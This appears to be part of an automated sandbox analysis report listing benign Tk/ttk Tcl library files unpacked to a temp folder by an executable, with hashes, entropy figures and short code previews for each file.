Preview:	#.# Map symbolic cursor names to platform-appropriate cursors..#.# The following cursors are defined:.#.#.standard.-- default cursor for most controls.#.""..-- inherit cursor from parent window.#.none..-- no cursor.#.#.text..-- editable widgets (entry, text).#.link..-- hyperlinks within text.#.crosshair.-- graphic selection, fine control.#.busy..-- operation in progress.#.forbidden.-- action not allowed.#.#.hresize..-- horizontal resizing.#.vresize..-- vertical resizing.#.# Also resize cursors for each of the compass points,.# {nw,n,ne,w,e,sw,s,se}resize..#.# Platform notes:.#.# Windows doesn't distinguish resizing at the 8 compass points,.# only horizontal, vertical, and the two diagonals..#.# OSX doesn't have resize cursors for nw, ne, sw, or se corners..# We use the Tk-defined X11 fallbacks for these..#.# X11 doesn't have a "forbidden" cursor (usually a slashed circle);.# "pirate" seems to be the conventional cursor for this purpose..#.# Windows has an IDC_HELP cursor, but it's not

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\defaults.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3684
Entropy (8bit):	4.893081856580555
Encrypted:	false
SSDEEP:	48:EyE4jTUC5zu/cbtCBRCbxcFfFIGQJFIGQkUFIG0uI+x3ouPcW88nKI+ifVaVCflC:nE+Uoi/hjB1+Atj/bf30QOdt
MD5:	79F1C9D16EC1B66762E82B73113C3A12
SHA1:	51544CECBDF72CE799A80373BE727A8AB9CCA34F
SHA-256:	436CA9AD206F26DF3B4F665AB2EB60A24BB833699172EE91F5A1ADAAFAC9951F
SHA-512:	7BAD8EBFF17E18C9BD7F336AEEDFAE67DB25303B6F7948362AF5C93F7945337592803A22CF676C25E8879F097A7DAEF9EA7A8036FF76723E0720CE7EB9ED46B8
Malicious:	false
Reputation:	unknown
Preview:	#.# Settings for default theme..#..namespace eval ttk::theme::default {. variable colors. array set colors {..-frame.."#d9d9d9"..-foreground."#000000"..-window.."#ffffff"..-text ."#000000"..-activebg."#ececec"..-selectbg."#4a6984"..-selectfg."#ffffff"..-darker ."#c3c3c3"..-disabledfg."#a3a3a3"..-indicator."#4a6984". }.. ttk::style theme settings default {...ttk::style configure "." \.. -borderwidth .1 \.. -background .$colors(-frame) \.. -foreground .$colors(-foreground) \.. -troughcolor .$colors(-darker) \.. -font ..TkDefaultFont \.. -selectborderwidth.1 \.. -selectbackground.$colors(-selectbg) \.. -selectforeground.$colors(-selectfg) \.. -insertwidth .1 \.. -indicatordiameter.10 \.. ;...ttk::style map "." -background \.. [list disabled $colors(-frame) active $colors(-activebg)]..ttk::style map "." -foreground \.. [list disabled $colors(-disabledfg)]...ttk::style configure TButton \.. -anchor center -padding "3 3" -width -9 \..

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\entry.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16655
Entropy (8bit):	4.9802863039779375
Encrypted:	false
SSDEEP:	192:hRy3ALQkHUx/KPTU3+h/IQzNiQ2iEL8QmOhQVqknFoTOXyJtcC1JMuZm41ZxO25t:GoU3+VmiEyOFWiTOEtcC1S252Ezp
MD5:	D46463299EF819FE034E92B786E4911E
SHA1:	B02D466BA9F0EF9C353E833B7BC85697EF2FE72E
SHA-256:	CA47C52334F62660159FC197A054A0FE0017BD7B62E3295E74BA63D8379016B3
SHA-512:	10AAD0003B61411DA510B96A8A237AA1942D473C1F3C46B50102FA1F3B7E880DE0C73F0B68EEB1A72E60BAAF1E2873EAFFBF9998E9017B947DA5F819386547DA
Malicious:	false
Reputation:	unknown
Preview:	#.# DERIVED FROM: tk/library/entry.tcl r1.22.#.# Copyright (c) 1992-1994 The Regents of the University of California..# Copyright (c) 1994-1997 Sun Microsystems, Inc..# Copyright (c) 2004, Joe English.#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..namespace eval ttk {. namespace eval entry {..variable State...set State(x) 0..set State(selectMode) none..set State(anchor) 0..set State(scanX) 0..set State(scanIndex) 0..set State(scanMoved) 0...# Button-2 scan speed is (scanNum/scanDen) characters..# per pixel of mouse movement...# The standard Tk entry widget uses the equivalent of..# scanNum = 10, scanDen = average character width...# I don't know why that was chosen...#..set State(scanNum) 1..set State(scanDen) 1..set State(deadband) 3.;# #pixels for mouse-moved deadband.. }.}..### Option database settings..#.option add *TEntry.cursor [ttk::cursor text]..### Bindings..#.# Removed the following

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\fonts.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5576
Entropy (8bit):	4.956417003071239
Encrypted:	false
SSDEEP:	96:Nduphbitcq1Zs/ZrBiZy227IhLkdhetOstWGbRafkeHH+4:3CheHvsbiZyDmJbRa3+4
MD5:	7017B5C1D53F341F703322A40C76C925
SHA1:	57540C56C92CC86F94B47830A00C29F826DEF28E
SHA-256:	0EB518251FBE9CF0C9451CC1FEF6BB6AEE16D62DA00B0050C83566DA053F68D0
SHA-512:	FD18976A8FBB7E59B12944C2628DBD66D463B2F7342661C8F67160DF37A393FA3C0CE7FDDA31073674B7A46E0A0A7D0A7B29EBE0D9488AFD9EF8B3A39410B5A8
Malicious:	false
Reputation:	unknown
Preview:	#.# Font specifications..#.# This file, [source]d at initialization time, sets up the following.# symbolic fonts based on the current platform:.#.# TkDefaultFont.-- default for GUI items not otherwise specified.# TkTextFont.-- font for user text (entry, listbox, others).# TkFixedFont.-- standard fixed width font.# TkHeadingFont.-- headings (column headings, etc).# TkCaptionFont -- dialog captions (primary text in alert dialogs, etc.).# TkTooltipFont.-- font to use for tooltip windows.# TkIconFont.-- font to use for icon captions.# TkMenuFont.-- used to use for menu items.#.# In Tk 8.5, some of these fonts may be provided by the TIP#145 implementation.# (On Windows and Mac OS X as of Oct 2007)..#.# +++ Platform notes:.#.# Windows:.#.The default system font changed from "MS Sans Serif" to "Tahoma".# .in Windows XP/Windows 2000..#.#.MS documentation says to use "Tahoma 8" in Windows 2000/XP,.#.although many MS programs still use "MS Sans Serif 8".#.#.Should use SystemParametersInfo() inst

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\menubutton.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4886
Entropy (8bit):	4.8399606995889455
Encrypted:	false
SSDEEP:	96:1reigApQy38gaQJy+3nN+PN8JdN3OPqoK4J+wQCV7EkGxIaqc9ld9qtlWnITOZmd:hfbJvnN+PN8JdN3s64J+wQCPGxtqWrqf
MD5:	06F570587F05FC9E20E2E841A5DDB938
SHA1:	0E69C6AB9E03049592107BEDD37A9F9D45C7F139
SHA-256:	8E6958FBC899BAEB1942E0E56D3B8CF135409949FF249D9858C777922BAFBC58
SHA-512:	E150C38BDE8A5370212D456D125E3B6648DD0047AE3406C735D148E310D4CDEB8732EBA0B226C0E221BACF909D4BAB8104CCD6FDCAF5148E95AB7F389B14918F
Malicious:	false
Reputation:	unknown
Preview:	#.# Bindings for Menubuttons..#.# Menubuttons have three interaction modes:.#.# Pulldown: Press menubutton, drag over menu, release to activate menu entry.# Popdown: Click menubutton to post menu.# Keyboard: <Key-space> or accelerator key to post menu.#.# (In addition, when menu system is active, "dropdown" -- menu posts.# on mouse-over. Ttk menubuttons don't implement this)..#.# For keyboard and popdown mode, we hand off to tk_popup and let .# the built-in Tk bindings handle the rest of the interaction..#.# ON X11:.#.# Standard Tk menubuttons use a global grab on the menubutton..# This won't work for Ttk menubuttons in pulldown mode,.# since we need to process the final <ButtonRelease> event,.# and this might be delivered to the menu. So instead we.# rely on the passive grab that occurs on <ButtonPress> events,.# and transition to popdown mode when the mouse is released.# or dragged outside the menubutton..# .# ON WINDOWS:.#.# I'm not sure what the hell is going on here. [$menu pos

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\notebook.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5619
Entropy (8bit):	4.937953914483602
Encrypted:	false
SSDEEP:	96:d4tDJf49tzG809fhQAKWCgQOK/6PF+xEi8YYFSL+3FJVCj0QFK2kfJcQIni:d4tktzwfWngQOK/6PF+xDDYFNJVCj0QW
MD5:	3495A94EF36592652ABF1B34298B1F58
SHA1:	1D4AD25752A418B654AAD7F486A260DA312170CE
SHA-256:	F44CA6DC4E54B73C43BBF546CD3E1EC1E7158024B76E0D8D99AE1477A8F50ED5
SHA-512:	BDD114CF1253FFECF7B3C449FD5633B361AFB3723F8E608746E52453E8ED616085A96E691BB79AC1C3AC7057DAEEA660497E1769AA389341D66CF5137313534B
Malicious:	false
Reputation:	unknown
Preview:	#.# Bindings for TNotebook widget.#..namespace eval ttk::notebook {. variable TLNotebooks ;# See enableTraversal.}..bind TNotebook <ButtonPress-1>..{ ttk::notebook::Press %W %x %y }.bind TNotebook <Key-Right>..{ ttk::notebook::CycleTab %W 1; break }.bind TNotebook <Key-Left>..{ ttk::notebook::CycleTab %W -1; break }.bind TNotebook <Control-Key-Tab>.{ ttk::notebook::CycleTab %W 1; break }.bind TNotebook <Control-Shift-Key-Tab>.{ ttk::notebook::CycleTab %W -1; break }.catch {.bind TNotebook <Control-ISO_Left_Tab>.{ ttk::notebook::CycleTab %W -1; break }.}.bind TNotebook <Destroy>..{ ttk::notebook::Cleanup %W }..# ActivateTab $nb $tab --.#.Select the specified tab and set focus..#.# Desired behavior:.#.+ take focus when reselecting the currently-selected tab;.#.+ keep focus if the notebook already has it;.#.+ otherwise set focus to the first traversable widget.#. in the newly-selected tab;.#.+ do not leave the focus in a deselected tab..#.proc ttk::notebook::ActivateTab {w tab} {.

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\panedwindow.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1920
Entropy (8bit):	4.916119835701688
Encrypted:	false
SSDEEP:	24:kfkVpfktNZz51kfkB6fkO/cfkyk2fkI4fkI1fkxUufkYfkEtNMiyHvyPHfk9tNZ5:0ZPhMiyHvyPQZNtiisZvUriZPaa+fdl
MD5:	A12915FA5CAF93E23518E9011200F5A4
SHA1:	A61F665A408C10419FB81001578D99B43D048720
SHA-256:	CE0053D637B580170938CF552B29AE890559B98EB28038C2F0A23A265DDEB273
SHA-512:	669E1D66F1223CCA6CEB120914D5D876BD3CF401EE4A46F35825361076F19C7341695596A7DBB00D6CFF4624666FB4E7A2D8E7108C3C56A12BDA7B04E99E6F9A
Malicious:	false
Reputation:	unknown
Preview:	#.# Bindings for ttk::panedwindow widget..#..namespace eval ttk::panedwindow {. variable State. array set State {..pressed 0. .pressX.-..pressY.-..sash .-..sashPos -. }.}..## Bindings:.#.bind TPanedwindow <ButtonPress-1> .{ ttk::panedwindow::Press %W %x %y }.bind TPanedwindow <B1-Motion>..{ ttk::panedwindow::Drag %W %x %y }.bind TPanedwindow <ButtonRelease-1> .{ ttk::panedwindow::Release %W %x %y }..bind TPanedwindow <Motion> ..{ ttk::panedwindow::SetCursor %W %x %y }.bind TPanedwindow <Enter> ..{ ttk::panedwindow::SetCursor %W %x %y }.bind TPanedwindow <Leave> ..{ ttk::panedwindow::ResetCursor %W }.# See <<NOTE-PW-LEAVE-NOTIFYINFERIOR>>.bind TPanedwindow <<EnteredChild>>.{ ttk::panedwindow::ResetCursor %W }..## Sash movement:.#.proc ttk::panedwindow::Press {w x y} {. variable State.. set sash [$w identify $x $y]. if {$sash eq ""} {. .set State(pressed) 0..return. }. set State(pressed) .1. set State(pressX) .$x. set State(pressY) .$y. set State(sa

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\progress.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	4.7101709883442755
Encrypted:	false
SSDEEP:	24:o83oOUyNSiBj0oNA7h5EwIa2s0ImxamrNlUImyJDirNPpwWgJ:oMtS6j0eyEw0s02mhlU4khPp4J
MD5:	B0074341A4BDA36BCDFF3EBCAE39EB73
SHA1:	D070A01CC5A787249BC6DAD184B249C4DD37396A
SHA-256:	A9C34F595E547CE94EE65E27C415195D2B210653A9FFCFB39559C5E0FA9C06F8
SHA-512:	AF23563602886A648A42B03CC5485D84FCC094AB90B08DF5261434631B6C31CE38D83A3A60CC7820890C797F6C778D5B5EFF47671CE3EE4710AB14C6110DCC35
Malicious:	false
Reputation:	unknown
Preview:	#.# Ttk widget set: progress bar utilities..#..namespace eval ttk::progressbar {. variable Timers.;# Map: widget name -> after ID.}..# Autoincrement --.#.Periodic callback procedure for autoincrement mode.#.proc ttk::progressbar::Autoincrement {pb steptime stepsize} {. variable Timers.. if {![winfo exists $pb]} {. .# widget has been destroyed -- cancel timer..unset -nocomplain Timers($pb)..return. }.. set Timers($pb) [after $steptime \. .[list ttk::progressbar::Autoincrement $pb $steptime $stepsize] ].. $pb step $stepsize.}..# ttk::progressbar::start --.#.Start autoincrement mode. Invoked by [$pb start] widget code..#.proc ttk::progressbar::start {pb {steptime 50} {stepsize 1}} {. variable Timers. if {![info exists Timers($pb)]} {..Autoincrement $pb $steptime $stepsize. }.}..# ttk::progressbar::stop --.#.Cancel autoincrement mode. Invoked by [$pb stop] widget code..#.proc ttk::progressbar::stop {pb} {. variable Timers. if {[info exists Timers($pb

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\scale.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	4.706471568010083
Encrypted:	false
SSDEEP:	48:6Zs2iYagzZtYRqucO6wEKyRtZt0TcKVqZ4TFZkPDMiNf:WJyItYRquMwEKyFt0TcKVG4TrkLMwf
MD5:	CB563E4CC3C309D66BA4D6841F7C65D9
SHA1:	5F4FFFB858D6948A51FC8CB96225F1E4EB8E4931
SHA-256:	F4BC65A8FFE7E9F9F3B1C3DF496B1B873FA308F38BD86E908E0F8D8EB1026119
SHA-512:	E960488715BB8C084B08AB9B966F0F30F5741F604C55FC1C681D316A0924D8B95C69EA5EDFA81711FBAF10C7E53C2F235E9651E7A5AA091A31F341F3E3355AB2
Malicious:	false
Reputation:	unknown
Preview:	# scale.tcl - Copyright (C) 2004 Pat Thoyts <patthoyts@users.sourceforge.net>.#.# Bindings for the TScale widget..namespace eval ttk::scale {. variable State. array set State {..dragging 0. }.}..bind TScale <ButtonPress-1> { ttk::scale::Press %W %x %y }.bind TScale <B1-Motion> { ttk::scale::Drag %W %x %y }.bind TScale <ButtonRelease-1> { ttk::scale::Release %W %x %y }..bind TScale <ButtonPress-2> { ttk::scale::Jump %W %x %y }.bind TScale <B2-Motion> { ttk::scale::Drag %W %x %y }.bind TScale <ButtonRelease-2> { ttk::scale::Release %W %x %y }..bind TScale <ButtonPress-3> { ttk::scale::Jump %W %x %y }.bind TScale <B3-Motion> { ttk::scale::Drag %W %x %y }.bind TScale <ButtonRelease-3> { ttk::scale::Release %W %x %y }..bind TScale <Left> { ttk::scale::Increment %W -1 }.bind TScale <Up> { ttk::scale::Increment %W -1 }.bind TScale <Right> { ttk::scale::Increment %W 1 }.bind TScale <Down> { ttk::scale::Increment %W

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\scrollbar.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3097
Entropy (8bit):	4.913511104649656
Encrypted:	false
SSDEEP:	96:OsSofRsvfH3Noo2kvrjnWG3Lcyst0Rhrdy:plcHdoorDjWEFeuTy
MD5:	93181DBE76EF9C39849A09242D6DF8C0
SHA1:	DE3B47AFC3E5371BF1CD0541790A9B78A97570AB
SHA-256:	5932043286A30A3CFFB2B6CE68CCDB9172A718F32926E25D3A962AE63CAD515C
SHA-512:	5C85284E063A5DE17F6CE432B3EF899D046A78725BD1F930229576BED1116C03A3EE0611B988E9903F47DA8F694483E5A76464450C48EB14622F6784004B8F7E
Malicious:	false
Reputation:	unknown
Preview:	#.# Bindings for TScrollbar widget.#..# Still don't have a working ttk::scrollbar under OSX -.# Swap in a [tk::scrollbar] on that platform,.# unless user specifies -class or -style..#.if {[tk windowingsystem] eq "aqua"} {. rename ::ttk::scrollbar ::ttk::_scrollbar. proc ttk::scrollbar {w args} {..set constructor ::tk::scrollbar..foreach {option _} $args {.. if {$option eq "-class" \|\| $option eq "-style"} {...set constructor ::ttk::_scrollbar...break.. }..}..return [$constructor $w {*}$args]. }.}..namespace eval ttk::scrollbar {. variable State. # State(xPress).--. # State(yPress).-- initial position of mouse at start of drag.. # State(first).-- value of -first at start of drag..}..bind TScrollbar <ButtonPress-1> .{ ttk::scrollbar::Press %W %x %y }.bind TScrollbar <B1-Motion>..{ ttk::scrollbar::Drag %W %x %y }.bind TScrollbar <ButtonRelease-1>.{ ttk::scrollbar::Release %W %x %y }..bind TScrollbar <ButtonPress-2> .{ ttk::scrollbar::Jump %W %x %y }.bind TScrollb

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\sizegrip.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2392
Entropy (8bit):	4.778050320627444
Encrypted:	false
SSDEEP:	48:KqL4L1BItZ3EZEhHR4vuRbMMie8GMW/H7vZZNQdqrYfy2nL+ZZvBb:KDhBIjHHRmiM1qvbnNQdqriyQIvB
MD5:	BD1F47CE81C8690462B050CED53A6817
SHA1:	318EB1F966A7E04E75F376D5D748E80A68E99A13
SHA-256:	ED31FA0B0D3438ACAD3384DDE1E562033E0D9A035E5056322DA219D6C4CBD912
SHA-512:	7BDF0438806A2962B553F9062077522BD03EED1088B7D66C652920786A10D19897F263C195AAA6E29023D9BC69C33BBEF189CE082A2DCD2611336448E5CBD87D
Malicious:	false
Reputation:	unknown
Preview:	#.# Sizegrip widget bindings..#.# Dragging a sizegrip widget resizes the containing toplevel..#.# NOTE: the sizegrip widget must be in the lower right hand corner..#..switch -- [tk windowingsystem] {. x11 -. win32 {..option add *TSizegrip.cursor [ttk::cursor seresize]. }. aqua {. .# Aqua sizegrips use default Arrow cursor.. }.}..namespace eval ttk::sizegrip {. variable State. array set State {..pressed .0..pressX ..0..pressY ..0..width ..0..height ..0..widthInc.1..heightInc.1. resizeX 1. resizeY 1..toplevel .{}. }.}..bind TSizegrip <ButtonPress-1> ..{ ttk::sizegrip::Press.%W %X %Y }.bind TSizegrip <B1-Motion> ..{ ttk::sizegrip::Drag .%W %X %Y }.bind TSizegrip <ButtonRelease-1> .{ ttk::sizegrip::Release %W %X %Y }..proc ttk::sizegrip::Press {W X Y} {. variable State.. if {[$W instate disabled]} { return }.. set top [winfo toplevel $W].. # If the toplevel is not resizable then bail. foreach {State(resizeX) State(resi

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\spinbox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4255
Entropy (8bit):	4.9576194953603006
Encrypted:	false
SSDEEP:	96:17n+wMf6/ocy2nO6lz+Ni2QQ0Q3LqSFLfhrxJSS3hQb:ln+wMOxVlaNi2QQ0QbdFLfhrxJzhQb
MD5:	86BCA3AB915C2774425B70420E499140
SHA1:	FD4798D79EEBA9CFFABCB2548068591DB531A716
SHA-256:	51F8A6C772648541684B48622FFE41B77871A185A8ACD11E9DEC9EC41D65D9CD
SHA-512:	659FB7E1631ED898E3C11670A04B953EB05CECB42A3C5EFBDD1BD97A7F99061920FD5DB3915476F224BB2C72358623E1B474B0FC3FBB7FD3734487B87A388FD7
Malicious:	false
Reputation:	unknown
Preview:	#.# ttk::spinbox bindings.#..namespace eval ttk::spinbox { }..### Spinbox bindings..#.# Duplicate the Entry bindings, override if needed:.#..ttk::copyBindings TEntry TSpinbox..bind TSpinbox <Motion>...{ ttk::spinbox::Motion %W %x %y }.bind TSpinbox <ButtonPress-1> ..{ ttk::spinbox::Press %W %x %y }.bind TSpinbox <ButtonRelease-1> .{ ttk::spinbox::Release %W }.bind TSpinbox <Double-Button-1> .{ ttk::spinbox::DoubleClick %W %x %y }.bind TSpinbox <Triple-Button-1> .{} ;# disable TEntry triple-click..bind TSpinbox <KeyPress-Up>..{ event generate %W <<Increment>> }.bind TSpinbox <KeyPress-Down> ..{ event generate %W <<Decrement>> }..bind TSpinbox <<Increment>>..{ ttk::spinbox::Spin %W +1 }.bind TSpinbox <<Decrement>> ..{ ttk::spinbox::Spin %W -1 }..ttk::bindMouseWheel TSpinbox ..[list ttk::spinbox::MouseWheel %W]..## Motion --.#.Sets cursor..#.proc ttk::spinbox::Motion {w x y} {. if { [$w identify $x $y] eq "textarea". && [$w instate {!readonly !disabled}]. } {..ttk::setCurso

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\treeview.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8863
Entropy (8bit):	4.859904243190413
Encrypted:	false
SSDEEP:	96:2Ou002W8wZ4sNNxjKomA3xj9L/37NbbFqG4eeMxCSbk3TPMrngEibSB1GjwPBKse:ZW8+Z5BDX+DsXibSQUMHLCGLdE2bZ
MD5:	9C5111CC62F08184168CA4A78BFAF2A1
SHA1:	7887070F9F66E3899F41A8069EC28B19221DF892
SHA-256:	09C8967608A4C9887F12288C22765161F53016CECF1870CA8D6AEE6ECC4EC1D1
SHA-512:	6EB4290BF3C4C6E06243A3707791582B403E55D072F1D52A494F9E5D77574E0BAB5B91467D1193D77A8F5793481C801F6E41B94DE7BF67282781938D4A4EA90C
Malicious:	false
Reputation:	unknown
Preview:	#.# ttk::treeview widget bindings and utilities..#..namespace eval ttk::treeview {. variable State.. # Enter/Leave/Motion. #. set State(activeWidget) .{}. set State(activeHeading) .{}.. # Press/drag/release:. #. set State(pressMode) .none. set State(pressX)..0.. # For pressMode == "resize". set State(resizeColumn).#0.. # For pressmode == "heading". set State(heading) .{}.}..### Widget bindings..#..bind Treeview.<Motion> ..{ ttk::treeview::Motion %W %x %y }.bind Treeview.<B1-Leave>..{ #nothing }.bind Treeview.<Leave>...{ ttk::treeview::ActivateHeading {} {}}.bind Treeview.<ButtonPress-1> .{ ttk::treeview::Press %W %x %y }.bind Treeview.<Double-ButtonPress-1> .{ ttk::treeview::DoubleClick %W %x %y }.bind Treeview.<ButtonRelease-1> .{ ttk::treeview::Release %W %x %y }.bind Treeview.<B1-Motion> ..{ ttk::treeview::Drag %W %x %y }.bind Treeview .<KeyPress-Up> .{ ttk::treeview::Keynav %W up }.bind Treeview .<KeyPress-Down> .{ ttk::treeview::Keynav %

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\ttk.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4546
Entropy (8bit):	4.888987944406022
Encrypted:	false
SSDEEP:	96:53a25129CKELfMonw+PzpaVnNqovaq2126262R2D2q2k2j+/2FhbtpGt0vcWOQRg:53j5MoKE7JEnN7CTMDDA6Tlj+uFhbttK
MD5:	E38B399865C45E49419C01FF2ADDCE75
SHA1:	F8A79CBC97A32622922D4A3A5694BCCB3F19DECB
SHA-256:	61BAA0268770F127394A006340D99CE831A1C7AD773181C0C13122F7D2C5B7F6
SHA-512:	285F520B648F5EC70DD79190C3B456F4D6DA2053210985F9E2C84139D8D51908296E4962B336894EE30536F09FAE84B912BC2ABF44A7011620F66CC5D9F71A8C
Malicious:	false
Reputation:	unknown
Preview:	#.# Ttk widget set initialization script..#..### Source library scripts..#..namespace eval ::ttk {. variable library. if {![info exists library]} {..set library [file dirname [info script]]. }.}..source [file join $::ttk::library fonts.tcl].source [file join $::ttk::library cursors.tcl].source [file join $::ttk::library utils.tcl]..## ttk::deprecated $old $new --.#.Define $old command as a deprecated alias for $new command.#.$old and $new must be fully namespace-qualified..#.proc ttk::deprecated {old new} {. interp alias {} $old {} ttk::do'deprecate $old $new.}.## do'deprecate --.#.Implementation procedure for deprecated commands --.#.issue a warning (once), then re-alias old to new..#.proc ttk::do'deprecate {old new args} {. deprecated'warning $old $new. interp alias {} $old {} $new. uplevel 1 [linsert $args 0 $new].}..## deprecated'warning --.#.Gripe about use of deprecated commands..#.proc ttk::deprecated'warning {old new} {. puts stderr "$old deprecated -- u

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\utils.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8562
Entropy (8bit):	4.958950985117383
Encrypted:	false
SSDEEP:	192:MpEpXI4jqmW/y3gp9F+QE9PBRc+vWHJOfqW8j3ki3LDRdielRu+MXw+:6yXuwg1oPnc+epOEj31/s/5
MD5:	65193FE52D77B8726B75FBF909EE860A
SHA1:	991DEDD4666462DD9776FDF6C21F24D6CF794C85
SHA-256:	C7CC9A15CFA999CF3763772729CC59F629E7E060AF67B7D783C50530B9B756E1
SHA-512:	E43989F5F368D2E19C9A3521FB82C6C1DD9EEB91DF936A980FFC7674C8B236CB84E113908B8C9899B85430E8FC30315BDEC891071822D701C91C5978096341B7
Malicious:	false
Reputation:	unknown
Preview:	#.# Utilities for widget implementations..#..### Focus management..#.# See also: #1516479.#..## ttk::takefocus --.#.This is the default value of the "-takefocus" option.#.for ttk::* widgets that participate in keyboard navigation..#.# NOTES:.#.tk::FocusOK (called by tk_focusNext) tests [winfo viewable].#.if -takefocus is 1, empty, or missing; but not if it's a.#.script prefix, so we have to check that here as well..#.#.proc ttk::takefocus {w} {. expr {[$w instate !disabled] && [winfo viewable $w]}.}..## ttk::GuessTakeFocus --.#.This routine is called as a fallback for widgets.#.with a missing or empty -takefocus option..#.#.It implements the same heuristics as tk::FocusOK..#.proc ttk::GuessTakeFocus {w} {. # Don't traverse to widgets with '-state disabled':. #. if {![catch {$w cget -state} state] && $state eq "disabled"} {..return 0. }.. # Allow traversal to widgets with explicit key or focus bindings:. #. if {[regexp {Key\|Focus} [concat [bind $w] [bind [winfo c

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\vistaTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9349
Entropy (8bit):	4.613570740989389
Encrypted:	false
SSDEEP:	192:kwsdZzIE2NSCyNPNVVSCIA5l/r5l/rWMi/CE38S7r/2JeJnpna+yfdyMq53ICyzl:sZzL24FVeArPKf3z7cQ0383cdd
MD5:	70EFC208940AB312DF76FDB0A4C16DC2
SHA1:	0AC88DA8B62875D8F7178A3666CD6CFB0E5C27E1
SHA-256:	92D0FC7C0839AB4D1ED3765F6467B824735850167C22C082525BBC81EED6CC3B
SHA-512:	5A16EF33E9061402F88C90ACB2A1A4C607C0606BD8AED3BAB2FBD8F75364E2E49F95118408E8C5A64A124B8D667AA53E689C88C8C498EE04E024D2FCA843A82A
Malicious:	false
Reputation:	unknown
Preview:	#.# Settings for Microsoft Windows Vista and Server 2008.#..# The Vista theme can only be defined on Windows Vista and above. The theme.# is created in C due to the need to assign a theme-enabled function for .# detecting when themeing is disabled. On systems that cannot support the.# Vista theme, there will be no such theme created and we must not.# evaluate this script...if {"vista" ni [ttk::style theme names]} {. return.}..namespace eval ttk::theme::vista {.. ttk::style theme settings vista {.. .ttk::style configure . \.. -background SystemButtonFace \.. -foreground SystemWindowText \.. -selectforeground SystemHighlightText \.. -selectbackground SystemHighlight \.. -font TkDefaultFont \.. ;...ttk::style map "." \.. -foreground [list disabled SystemGrayText] \.. ;...ttk::style configure TButton -anchor center -padding {1 1} -width -11..ttk::style configure TRadiobutton -padding 2..ttk::style configure TCheckbutton -padding 2..ttk::style configure TMenubu

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\winTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2643
Entropy (8bit):	4.8723234445803545
Encrypted:	false
SSDEEP:	48:679ahShG0Ds0IXF6yjAfSAfqFRaBgLtei42kt+5Ql/n+iOaVa9LU:6vM0uTk5tm4v
MD5:	A6EFE03AC019E723627C064AC74DCBF3
SHA1:	9740638A19E6B5360FD69D887A4E01D9818FE43B
SHA-256:	08CE1484FF82AE2842A986B5A44EA81CC375E34687EF0896C8A45938721AA265
SHA-512:	8AB802D41522080CFA974B628CFF2BA3BFC074BC0C99DCF0E0AB647D54D10C9293C7B79F842BB5E8767972CD55724C3646065A2E988D7581863AF4CFD5938EB7
Malicious:	false
Reputation:	unknown
